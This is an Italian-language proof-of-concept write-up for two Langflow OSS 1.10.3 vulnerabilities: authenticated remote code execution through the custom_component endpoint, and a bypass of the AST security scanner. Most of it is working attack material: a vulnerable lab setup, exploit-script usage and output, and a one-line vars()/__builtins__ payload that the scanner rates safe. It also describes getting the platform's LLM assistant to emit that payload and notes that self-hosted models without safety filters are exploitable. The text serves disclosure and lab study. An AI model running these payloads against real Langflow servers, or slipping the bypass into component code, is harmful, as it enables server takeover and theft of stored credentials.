
PoC per CVE-2026-17633 — RCE autenticato in IBM Langflow OSS 1.0.0–1.10.3 tramite l'endpoint custom_component. Include la ricerca sul bypass dello scanner AST di CVE-2026-17632.
Solo per scopi educativi. Utilizzare esclusivamente contro sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione scritta ai test.
Langflow è una piattaforma open-source low-code per la creazione di applicazioni basate su LLM e flussi di lavoro di agenti AI. Fornisce un'interfaccia visuale drag-and-drop in cui gli utenti possono collegare componenti — modelli, retriever, strumenti, memoria, codice Python personalizzato — in flussi eseguibili. La funzionalità Custom Component consente agli utenti di definire il comportamento dei componenti direttamente in Python, che è la superficie di attacco sfruttata in questa ricerca.
Il 5 agosto 2026, IBM ha pubblicato un Security Bulletin che divulga un batch di vulnerabilità che interessano le versioni di Langflow OSS dalla 1.0.0 alla 1.10.3. Il bollettino completo è disponibile all'indirizzo:
Questa ricerca si concentra su due CVE di quel batch:
| CVE | CVSS | Riepilogo |
|---|
| CVE-2026-17633 | 8.5 HIGH | RCE autenticato tramite /api/v1/custom_component — codice passato direttamente a exec() senza alcuna scansione di sicurezza |
| CVE-2026-17632 | 8.8 HIGH | Bypass dello scanner di sicurezza AST — codice Python appositamente costruito supera scan_code_security() con is_safe: True eseguendo al contempo comandi OS arbitrari |
Entrambe le CVE sono state scoperte in modo indipendente tramite analisi statica del codice sorgente di Langflow 1.10.3.
Questa ricerca è stata condotta in un ambiente di laboratorio isolato contro un'istanza Langflow self-hosted. Tutti i risultati sono divulgati in modo responsabile. Non utilizzare quanto segue contro sistemi senza esplicita autorizzazione scritta.
L'endpoint POST /api/v1/custom_component in Langflow OSS 1.0.0–1.10.3 accetta codice Python arbitrario da un utente autenticato e lo esegue lato server tramite la funzione exec() di Python. A differenza del percorso Agentic Assistant, questo endpoint non chiama scan_code_security() né alcun altro validatore di contenuto basato su AST prima dell'esecuzione. Qualsiasi utente autenticato può ottenere l'esecuzione di codice remoto con una singola richiesta HTTP.
CWE-94 — Controllo improprio della generazione di codice
/api/v1/custom_componentSorgente: langflow/api/v1/endpoints.py — riga 1271
@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
raw_code: CustomComponentRequest,
user: CurrentActiveUser,
request: Request,
) -> CustomComponentResponse:
...
# Only check: is allow_custom_components enabled?
if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)
# No call to scan_code_security() here
component = Component(_code=effective_code)
built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)
Quando LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true (comune nelle distribuzioni in produzione), il codice va direttamente a build_custom_component_template() con zero ispezione del contenuto.
prepare_global_scope() e ast.ExprLa catena di esecuzione porta a create_class() in lfx/custom/validate.py, che chiama prepare_global_scope() prima di compilare ed eseguire la classe:
def prepare_global_scope(module):
exec_globals = globals().copy()
...
for node in module.body:
if isinstance(node, ast.Import | ast.ImportFrom):
imports.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
...
if definitions:
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # ← exec() happens here
Una chiamata di funzione nuda a livello di modulo (ad es. os.system(...)) è un nodo ast.Expr — non viene intercettata dal controllo isinstance e viene silenziosamente scartata. Tuttavia, il codice inserito all'interno del corpo della classe fa parte del nodo ClassDef e viene eseguito integralmente quando la classe viene definita tramite exec() all'interno di compile_class_code().
Questa è l'intuizione chiave: il payload deve trovarsi all'interno del corpo della classe, non a livello di modulo.
# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")
class PocComponent(Component):
...
# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
os.system("id > /tmp/pwned.txt") # ← runs here
...
Authenticated attacker
│
▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
│
▼
build_custom_component_template()
│
▼
create_class() — lfx/custom/validate.py
│
▼
prepare_global_scope() → imports resolved
│
▼
compile_class_code() → exec(compiled_class, exec_globals)
│
▼
Class body executed at definition time
│
▼
RCE — uid=1000(user) gid=0(root) inside container
Nessun LLM richiesto. Nessun bypass dello scanner necessario. Singola richiesta HTTP.
| Requisito | Valore |
|---|---|
| OS host | Kali Linux (testato) |
| Docker | CE 5.x + plugin Compose v2 |
| Immagine Langflow | langflowai/langflow:1.10.3 |
| RAM | 4 GB minimo per il container |
Creare una directory per il laboratorio e salvare quanto segue come docker-compose.yml:
services:
langflow:
image: langflowai/langflow:1.10.3
pull_policy: missing
restart: "no"
ports:
- "127.0.0.1:7860:7860"
environment:
- LANGFLOW_AUTO_LOGIN=false
- LANGFLOW_SUPERUSER=admin
- LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
- LANGFLOW_SECRET_KEY=change_this_to_something_random
- DO_NOT_TRACK=true
- LANGFLOW_CONFIG_DIR=/app/langflow
- LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true
volumes:
- langflow-data:/app/langflow
volumes:
langflow-data:
Avviare il laboratorio:
docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}
Accedere a http://127.0.0.1:7860 con le credenziali superuser definite sopra. Il token di accesso è memorizzato nel cookie del browser access_token_lf. In alternativa, recuperarlo tramite l'API:
curl -s -X POST http://127.0.0.1:7860/api/v1/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool
Copiare il valore access_token dalla risposta.
python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]
-t, --target TARGET Langflow base URL (e.g. http://127.0.0.1:7860)
-k, --token TOKEN Bearer token of the authenticated user
-c, --command COMMAND OS command to execute (default: id > /tmp/pwned.txt)
--verbose Print full payload and server response
--timeout TIMEOUT Request timeout in seconds (default: 30)
python3 exploit_CVE-2026-17633.py \
-t http://127.0.0.1:7860 \
-k <bearer_token> \
-c 'id > /tmp/pwned.txt'
Output previsto:
============================================================
PoC CVE-2026-17633 — Langflow Custom Component RCE
CVSS 8.5 HIGH — Authenticated RCE
IBM Langflow OSS 1.0.0 – 1.10.3
============================================================
[*] Health: {"status":"ok"}
[*] Target: http://127.0.0.1:7860/api/v1/custom_component
[*] Command: id > /tmp/pwned.txt
[*] Vector: class body exec() — no scanner
[*] HTTP Status: 200
============================================================
[+] VULNERABLE — CVE-2026-17633 CONFIRMED
============================================================
[+] Endpoint processed the component (200 OK)
[+] exec() triggered — command executed: id > /tmp/pwned.txt
[*] Verify the effect on the server:
docker exec <container_id> cat /tmp/pwned.txt
docker exec <container_id> cat /tmp/pwned.txt
Output previsto:
uid=1000(user) gid=0(root) groups=0(root)
Nota: Langflow 1.10.3 viene eseguito come
uid=1000(user)all'interno del container, non come root. Tuttavia, all'interno del container l'utente appartiene agid=0(root), e da lì il movimento laterale verso l'host o i servizi connessi (chiavi API del provider LLM, credenziali del database, token del vector store) è lo scenario realistico di post-sfruttamento.
Durante l'analisi del codice sorgente di Langflow 1.10.3 per comprendere CVE-2026-17633, è stato esaminato anche il percorso di codice dell'Agentic Assistant. Ciò ha portato alla scoperta di scan_code_security() in langflow/agentic/helpers/code_security.py — uno scanner di sicurezza basato su AST applicato al codice dei componenti generato dall'LLM prima che raggiunga validate_component_runtime().
Lo scanner è sofisticato: traccia gli alias di importazione, rileva importazioni wildcard, gestisce la riflessione getattr() e blocca un elenco completo di chiamate pericolose (os.system, subprocess, exec, eval, __import__, ecc.).
Un'analisi attenta di DANGEROUS_CALLS ha rivelato una voce mancante:
DANGEROUS_CALLS: dict[str, str] = {
"exec": "Use of exec() is forbidden in components",
"eval": "Use of eval() is forbidden in components",
"compile": "Use of compile() is forbidden in components",
"__import__": "Use of __import__() is forbidden in components",
"globals": "Use of globals() is forbidden in components",
"open": "Use of open() is forbidden in components",
"breakpoint": "Use of breakpoint() is forbidden in components",
# "vars" → NOT PRESENT ← gap identified here
}
vars() è assente. Nel contesto exec() di create_class(), vars() restituisce exec_globals, che contiene importlib ereditato dai global di modulo di validate.py. Inoltre, ["__builtins__"] è un accesso tramite subscript (ast.Subscript), non un accesso tramite attributo (ast.Attribute), quindi visit_Attribute() e DANGEROUS_DUNDER_ATTRS non lo ispezionano mai.
is_safe: TrueIl seguente payload supera scan_code_security() con zero violazioni:
vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")
Verificato direttamente contro lo scanner all'interno del container:
from langflow.agentic.helpers.code_security import scan_code_security
test_code = 'vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")'
result = scan_code_security(test_code)
print('is_safe:', result.is_safe)
print('violations:', result.violations)
Output:
is_safe: True
violations: ()
L'esecuzione dell'RCE è stata inoltre confermata eseguendo il bypass direttamente nello stesso contesto exec() utilizzato da create_class():
import importlib, sys, ast
exec_globals = globals().copy()
exec('vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")', exec_globals)
Output in /tmp/pwned.txt:
uid=1000(user) gid=0(root) groups=0(root)
CVE-2026-17632 viene sfruttata attraverso il percorso Agentic Assistant:
POST /api/v1/agentic/assist/stream
→ LLM generates Python component code
→ extract_component_code() extracts the ```python``` block
→ validate_component_code() — AST structural check → PASS
→ scan_code_security() — bypass via vars() → PASS (is_safe: True)
→ validate_component_runtime() — exec() without sandbox → RCE
Il meccanismo di distribuzione richiede che l'LLM riproduca il payload di bypass alla lettera nella sua risposta. In pratica, gli LLM ospitati nel cloud con filtri di sicurezza dei contenuti (OpenAI, Anthropic, la maggior parte dei modelli gratuiti di OpenRouter) rifiutano di produrre payload contenenti __import__, os.system o pattern simili, anche quando presentati come ricerca sulla sicurezza o documentazione.
Questo è un vincolo realistico anche nello sfruttamento nel mondo reale: un attaccante che prende di mira un'istanza Langflow con un provider LLM cloud configurato affronterebbe lo stesso filtro dei contenuti. La vulnerabilità è pienamente sfruttabile contro distribuzioni che utilizzano modelli self-hosted (Ollama, vLLM, LM Studio) o modelli privati fine-tuned senza allineamento di sicurezza — che rappresentano una porzione significativa delle distribuzioni Langflow aziendali.
Il bypass dello scanner AST (is_safe: True) e l'RCE tramite exec() sono confermati in modo indipendente. La catena di distribuzione end-to-end tramite LLM è l'elemento di ricerca aperto per CVE-2026-17632.
Ricerca condotta su Langflow OSS 1.10.3 in un ambiente di laboratorio isolato. IBM Security Bulletin: https://www.ibm.com/support/pages/node/7282646